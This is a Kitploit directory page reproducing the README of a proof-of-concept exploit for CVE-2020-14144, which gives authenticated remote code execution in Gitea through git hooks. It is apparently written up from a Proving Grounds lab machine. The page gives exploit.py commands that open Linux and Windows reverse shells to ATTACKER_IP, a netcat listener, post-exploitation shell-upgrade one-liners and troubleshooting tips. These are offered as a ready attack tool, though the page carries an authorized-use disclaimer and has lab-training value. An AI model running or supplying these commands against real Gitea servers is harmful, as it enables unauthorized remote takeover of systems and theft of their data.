Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Gitea versions 1.1.0 → 1.12.5 allow authenticated users with "May create git hooks" permission to inject arbitrary shell commands into post-receive hooks. Pushing a commit triggers the hook and executes the payload on the server. | Kitploit
Tools/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Gitea versions 1.1.0 → 1.12.5 allow authenticated users with "May create git hooks" permission to inject arbitrary shell commands into post-receive hooks. Pushing a commit triggers the hook and executes the payload on the server.

View Repository
16 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gitea Git Hooks RCE (CVE-2020-14144)

OffsecProvingGrounds Practice — Roquefort Machine Writeup & POC

Overview

ItemDetail
MachineRoquefort (Proving Grounds Practice)
OSLinux
Gitea Version1.7.5
CVECVE-2020-14144
VectorAuthenticated RCE via Git Hooks
User Shellchloe

Gitea versions 1.1.0 → 1.12.5 allow authenticated users with "May create git hooks" permission to inject arbitrary shell commands into post-receive hooks. Pushing a commit triggers the hook and executes the payload on the server.

Quick Start

Automated (Python Script)

root@kitploit:~
# Linux target — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Windows target — PowerShell reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

Manual

See MANUAL.md for step-by-step exploitation guide.

Repository Structure

root@kitploit:~
.
├── README.md          # This file
├── MANUAL.md          # Manual exploitation guide (Linux + Windows)
└── exploit.py         # Automated exploit script

Requirements

  • Python 3.6+
  • requests library (pip install requests)
  • git installed on the attacker machine
  • Valid Gitea credentials with git hook permissions

Usage

root@kitploit:~
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — Gitea Authenticated RCE via Git Hooks (CVE-2020-14144)

required arguments:
  -t, --target       Target Gitea URL (e.g. http://192.168.x.x:3000)
  -u, --username     Gitea username
  -p, --password     Gitea password
  -I, --rev-ip       Attacker listener IP
  -P, --rev-port     Attacker listener port

optional arguments:
  --os               Target OS: linux (default) or windows
  --repo             Repository name to create (default: exploit)
  -f, --payload-file Custom shell script payload file
  -v, --verbose      Verbose output

Examples

root@kitploit:~
# 1) Start listener
nc -lvnp 4444

# 2) Run exploit (Linux target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Run exploit (Windows target)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Custom payload file
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

Shell Upgrade (Post-Exploitation)

After catching the reverse shell:

root@kitploit:~
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Troubleshooting

ProblemSolution
fatal: dubious ownershipClone from ~ instead of shared folders, or run git config --global --add safe.directory '*'
No connection receivedVerify attacker IP, check firewall, confirm both machines on same subnet
Hook fires but no shellTest with touch /tmp/pwned payload first — if file appears, reverse shell is being blocked
Permission denied on hooksUser lacks hook permissions — needs admin or "May create git hooks" privilege
Port conflict on 3000Gitea uses 3000 — use a different port like 4444 for your listener

References

  • CVE-2020-14144 — NVD
  • Gitea Issue #13058
  • p0dalirius Original POC

Disclaimer

This tool is intended for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal. Use responsibly.

Download Tool